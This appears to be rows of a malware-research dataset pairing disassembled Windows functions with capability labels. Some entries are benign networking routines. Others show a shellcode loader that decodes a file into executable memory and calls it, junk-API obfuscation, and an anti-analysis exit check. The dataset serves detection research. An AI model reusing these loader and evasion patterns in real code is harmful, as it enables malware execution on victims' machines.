joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140050900
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x38
cmp byte [rcx + 0xf66], 0
movsxd r10, r9d
je 0x140050a24
cmp r8d, 0xff
jne 0x140050961
lea eax, [r10 - 0xec]
cmp eax, 0x13
ja 0x14005094b
lea r8, [0x140000000]
mov r9, qword [r8 + r10*8 + 0x72390]
mov r8, rdx
lea rdx, str._s_IAC__s_n
add rsp, 0x38
jmp fcn.14002c790
mov r8, rdx
mov r9d, r10d
lea rdx, str._s_IAC__d_n
add rsp, 0x38
jmp fcn.14002c790
cmp r8d, 0xfb
jne 0x140050973
lea r9, str.WILL
jmp 0x1400509b1
cmp r8d, 0xfc
jne 0x140050985
lea r9, str.WONT
jmp 0x1400509b1
cmp r8d, 0xfd
jne 0x140050997
lea r9, [0x140072db4]
jmp 0x1400509b1
xor r9d, r9d
lea rax, str.DONT
cmp r8d, 0xfe
cmove r9, rax
test r9, r9
je 0x140050a0d
cmp r10d, 0x27
jg 0x1400509e4
lea r8, [0x140000000]
mov r8, qword [r8 + r10*8 + 0x729b0]
test r8, r8
jne 0x1400509f4
mov r8, rdx
mov dword [rsp + 0x20], r10d
lea rdx, str._s__s__d_n
call fcn.14002c790
add rsp, 0x38
ret
cmp r10d, 0xff
jne 0x1400509cb
lea r8, str.EXOPL
mov qword [rsp + 0x20], r8
mov r8, rdx
lea rdx, str._s__s__s_n
call fcn.14002c790
add rsp, 0x38
ret
mov r9d, r8d
mov dword [rsp + 0x20], r10d
mov r8, rdx
lea rdx, str._s__d__d_n
call fcn.14002c790
add rsp, 0x38
ret

Function at 0x140050d70
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rbp, qword [rcx]
mov edi, r8d
mov esi, edx
mov byte [rax + 0x10], 0xff
xor r9d, r9d
mov byte [rax + 0x11], sil
mov rbx, rcx
mov byte [rax + 0x12], dil
mov rcx, qword [rcx + 0x4c0]
lea rdx, [rax + 0x10]
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x140050dcf
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14002c610
mov rcx, qword [rbx]
lea rdx, str.SENT
mov r9d, edi
mov r8d, esi
call fcn.140050900
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x140050f80
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x140051128
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1a8]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x140050fe5
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x140050fe5
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x140050fe5
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x14005101c
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x140051072
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140051072
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140051072
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140051072
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140051072
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.140050a30
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x1400510d4
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14002c610
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.140050e00
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x140051120
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14002c610
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x140052890
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x140084080]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0x9c0]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x140052925
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x140052986
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.14002c610
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.140066d50
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x140052a41
sub ecx, 1
je 0x140052ab4
sub ecx, 1
je 0x1400529f0
cmp ecx, 1
je 0x1400529d3
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x140070810]
call fcn.14002c610
jmp 0x140052ab4
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.1400525c0
test eax, eax
je 0x140052ab4
jmp 0x14005295a
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call fcn.140067fee
test rax, rax
je 0x140052ab4
sub rax, rsi
cmp rax, rbp
jae 0x140052ab4
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.14002c790
jmp 0x140052ab4
cmp r8d, 4
jle 0x140052ab4
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x140052ab4
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.14002c530
mov esi, eax
test eax, eax
je 0x140052a93
mov edx, 5
mov rcx, rbx
call fcn.140053580
mov eax, esi
jmp 0x14005295a
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.140039e20
mov rcx, r14
call fcn.14003a100
test eax, eax
je 0x140052958
mov edx, 5
mov rcx, rbx
call fcn.140053580
mov eax, Ordinal_45
jmp 0x14005295a
Function at 0x140066b70
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [section..data]
mov rdi, rax
test rax, rax
jne 0x140066bb2
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x140066bf9
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x140066c52
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x140066c10
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x140066c93
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x140077b1b]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x140077b1c]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x140066c60
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x140067a50
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140067a9a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140067a9a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140067a9a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140067a9a
cmp dword [rcx + 0x84], 0xe
jbe 0x140067a9a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140067a9c
xor al, al
add rsp, 0x28
ret
Function at 0x1400011c0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x30
mov rax, qword [0x14001e008]
xor rax, rsp
mov qword [rsp + 0x28], rax
movsxd rbx, edx
lea r8, [0x14001b800]
mov rdx, rcx
mov qword [rsp + 0x20], 0
lea rcx, [rsp + 0x20]
call fcn.140006aa8
test eax, eax
jne 0x140001252
cmp qword [rsp + 0x20], 0
je 0x140001252
mov rcx, rbx
mov rdi, rbx
call fcn.1400070d4
mov rbx, rax
test rax, rax
je 0x140001252
mov r9, qword [rsp + 0x20]
mov r8, rdi
mov edx, 1
mov rcx, rax
call fcn.140006d60
mov rcx, qword [rsp + 0x20]
call fcn.140006988
mov rax, rbx
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140001e30
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
mov ecx, 0xffffffff
call fcn.1400068b4
int3

Function at 0x1400017b0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
movsxd rsi, edx
mov ecx, 0x1e07e
call fcn.1400068ec
mov rdi, rsi
test esi, esi
jle 0x1400017f3
call fcn.1400068c0
cdq
lea rbx, [rbx + 1]
idiv esi
inc dl
xor dl, byte [rbx - 1]
xor dl, 0x7e
mov byte [rbx - 1], dl
sub rdi, 1
jne 0x1400017d6
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140001810
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x14001e008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov edi, ecx
mov dword [rsp + 0x40], 0
mov ecx, 0x30
call fcn.140001e50
movups xmm0, xmmword [str.Arise__fair_sun__and_ate_the_envious_moon_]
mov rbx, rax
mov qword [rsp + 0x30], 0x2a
mov qword [rsp + 0x38], 0x2f
movups xmmword [rax], xmm0
mov qword [rsp + 0x20], rax
movups xmm1, xmmword [0x14001b818]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x14001b828]
movsd qword [rax + 0x20], xmm0
movzx ecx, word [0x14001b830]
mov word [rax + 0x28], cx
lea rcx, [rsp + 0x20]
mov byte [rax + 0x2a], 0
call fcn.140001780
mov edx, 0x30
movsxd rsi, eax
mov rcx, rbx
call fcn.140001e8c
xor edx, edx
lea rcx, [rsp + 0x20]
cmp edi, 4
sete dl
inc edx
call fcn.140001260
cmp qword [rax + 0x18], 0x10
jb 0x1400018ca
mov rax, qword [rax]
mov edx, esi
mov rcx, rax
call fcn.1400011c0
mov rdx, qword [rsp + 0x38]
mov rbp, rax
cmp rdx, 0x10
jb 0x140001914
mov rcx, qword [rsp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000190f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400019ac
call fcn.140001e8c
mov r9d, 4
mov qword [rsp + 0x30], 0
mov r8d, 0x3000
mov qword [rsp + 0x38], 0xf
mov rdx, rsi
mov byte [rsp + 0x20], 0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rsi
mov rdx, rbp
mov rcx, rax
mov rbx, rax
call fcn.140005f60
lea r9, [rsp + 0x40]
mov r8d, 0x40
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, esi
mov rcx, rbx
call fcn.1400017b0
call rbx
mov r8d, 0x8000
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001e30
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
call fcn.14000705c
int3
Function at 0x1400068b4
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x140006747
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140006747
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140006747
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140006747
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140006747
cmp dword [rcx + 0x84], 0xe
jbe 0x140006747
cmp dword [rcx + 0xf8], 0
je 0x140006747
mov ecx, ebx
call fcn.1400067e8
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.1400065d8
cmp dword [rbp + 0x20], 0
je 0x140006794
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000679c
int3
xor r8d, r8d
xor edx, edx
jmp 0x1400066e0
Function at 0x1800022f0
Capabilities:
Copy file
Get common file path
Get keyboard layout

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea r8, [rsp + 0x68]
mov dword [rsp + 0x48], 0x1f7
lea rdx, [rsp + 0x60]
add rax, 0x1f7
mov dword [rsp + 0x60], 0
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x40]
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
call fcn.18000e410
cmp dword [0x1800fc3e8], 0xa4af05c2
mov qword [rsp + 0x70], rax
jne 0x180002481
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FreeDDElParam]
call qword [sym.imp.KERNEL32.dll_GetOEMCP]
call qword [sym.imp.KERNEL32.dll_GetLargePageMinimum]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TryAcquireSRWLockExclusive]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_DrawAnimatedRects]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTimeEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_ValidateRect]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayoutList]
xor ecx, ecx
call qword [sym.imp.USER32.dll_DestroyMenu]
xor ecx, ecx
call qword [sym.imp.USER32.dll_TranslateMessage]
xor ecx, ecx
call qword [sym.imp.USER32.dll_DdeDisconnectList]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_DrawIcon]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetWindowRgnBox]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetMenuContextHelpId]
lea rax, [0x1801144f8]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDurationFormat]
xor r8d, r8d
lea rdx, [0x180114528]
lea rcx, [0x180114550]
call qword [sym.imp.KERNEL32.dll_CopyFile2]
xor ecx, ecx
call qword [sym.imp.USER32.dll_PaintDesktop]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDllDirectoryW]
mov rax, qword [sym.imp.KERNEL32.dll_GlobalLock]
lea rdx, [rsp + 0x70]
mov dword [rsp + 0x48], 0x264
lea rcx, [rsp + 0x40]
add rax, 0x264
mov qword [rsp + 0x40], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
call fcn.18000e5a0
add rsp, 0x58
ret
Function at 0x180005a70
Capabilities:
Clear file content
Identify system language via api

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdx
push rdi
sub rsp, 0x30
mov rbx, qword [0x1800fc3d0]
mov edx, 0x28
mov rcx, rbx
mov rdi, r8
call fcn.180006370
mov edx, 0x44a8
mov qword [rdi], rax
mov rcx, rbx
call fcn.180006370
cmp dword [0x1800fc3e8], 0x722af92c
mov rcx, qword [rdi]
mov qword [rcx + 0x18], rax
jne 0x180005bb5
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMask]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelIoEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
mov r9d, dword [rsp + 0x48]
xor ebx, ebx
xor edx, edx
mov qword [rsp + 0x20], rbx
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
call qword [sym.imp.KERNEL32.dll_GetACP]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
xor r8d, r8d
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCalendarInfoW]
call qword [sym.imp.KERNEL32.dll_GetThreadLocale]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeleteFiber]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventExW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeleteSynchronizationBarrier]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WakeConditionVariable]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadUILanguage]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_QueryThreadpoolStackInformation]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeleteTimerQueue]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor edx, edx
lea rcx, [0x180114e00]
call qword [sym.imp.KERNEL32.dll_LoadPackagedLibrary]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
call qword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
xor ecx, ecx
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GlobalGetAtomNameW]
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x180008430
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov r9d, 0x2b09
nop
inc r9d
test r9b, 1
jne 0x180008450
mov ecx, 0x4b36
mov eax, 0x55555556
sub ecx, r9d
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea edx, [rdx + rdx*2]
cmp ecx, edx
je 0x180008497
nop word [rax + rax]
inc ecx
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea edx, [rdx + rdx*2]
cmp ecx, edx
jne 0x180008480
lea r8d, [r9 + 0x1d48]
sub ecx, 0x33
lea edi, [r9 - 0xad88]
mov edx, 0x794e
sub edx, r8d
lea r15d, [rdi + rdi]
mov r14d, edi
mov r11d, 0xffffea15
lea r10d, [rcx - 0xa657]
sub r11d, r10d
lea r9d, [rdx + 0x1207]
lea esi, [rdx + 0x1203]
add r9d, ecx
sub r14d, r9d
mov eax, esi
sub r14d, r10d
and eax, 1
add r14d, 0x104c
add r10d, 0x126b
add r14d, r11d
sub r11d, 0x1150
sub r14d, r10d
sub r14d, r11d
lea edx, [r10 - 0x9610]
add r14d, 0x2a0f
add edx, r8d
test r10b, 1
je 0x180008523
test r10d, r10d
jle 0x180008523
sub r10d, 0x1ed0
add edx, r11d
lea r8d, [r14 - 0x136d]
test eax, eax
mov ebx, 0xffffdf3d
mov ecx, 0x1385
lea eax, [r14 + r14]
cmove ebx, ecx
sub eax, edx
add r9d, eax
add ebx, esi
add ebx, edx
lea eax, [rdi*4 + 0x505]
sub eax, r9d
add r8d, r15d
mov esi, edx
add eax, 0xffffe0d1
add r8d, r11d
sub esi, ebx
test r9b, 1
je 0x180008579
nop dword [rax + rax]
inc r9d
test r9b, 1
jne 0x180008570
lea r11d, [rax + r10]
mov eax, 0x55555556
imul r8d
add r11d, esi
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*2]
cmp r8d, ecx
je 0x1800085ba
nop word [rax + rax]
inc r8d
mov eax, 0x55555556
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*2]
cmp r8d, ecx
jne 0x1800085a0
sub r14d, r11d
lea edi, [rsi - 0x9a3]
add ebx, 0x4186
add r10d, 0x3f25
mov edx, r11d
sub r11d, 0x77c
neg edx
add edi, r11d
lea eax, [r14 + 0x1172]
add eax, edx
lea ecx, [rdx + 0x1e65]
lea ebp, [rdi + rbx]
add ebx, eax
lea eax, [r10 + r8]
add r10d, ebx
lea esi, [rax + rax]
mov eax, 0x55555556
lea r8d, [r9*2 - 0x8b28]
imul r8d
lea r9d, [rcx + r10]
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*2]
cmp r8d, ecx
je 0x18000863a
inc r8d
mov eax, 0x55555556
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*2]
cmp r8d, ecx
jne 0x180008620
cmp r8d, 0x281e2
jne 0x18000867e
cmp r11d, 0xfffbb7b1
jne 0x18000867e
cmp ebp, 0xfffb8d06
jne 0x18000867e
cmp esi, 0xfffee4d2
jne 0x18000867e
cmp r9d, 0xd1f34
jne 0x18000867e
cmp r10d, 0x8bffc
jne 0x18000867e
cmp ebx, 0x8f4c8
jne 0x18000867e
cmp edi, 0xfffb8bd2
je 0x18000868a
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
Function at 0x18007dacc
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x18007db3b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x18007db3b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x18007db3b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x18007db3b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x18007db3b
cmp dword [rcx + 0x84], 0xe
jbe 0x18007db3b
cmp dword [rcx + 0xf8], 0
je 0x18007db3b
mov ecx, ebx
call fcn.18007dbec
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.18007d9c8
nop
cmp dword [rbp + 0x20], 0
je 0x18007db89
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.18007db94
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x18007dacc

Function at 0x18007f35c
Capabilities:
Get file size

Disassembly:
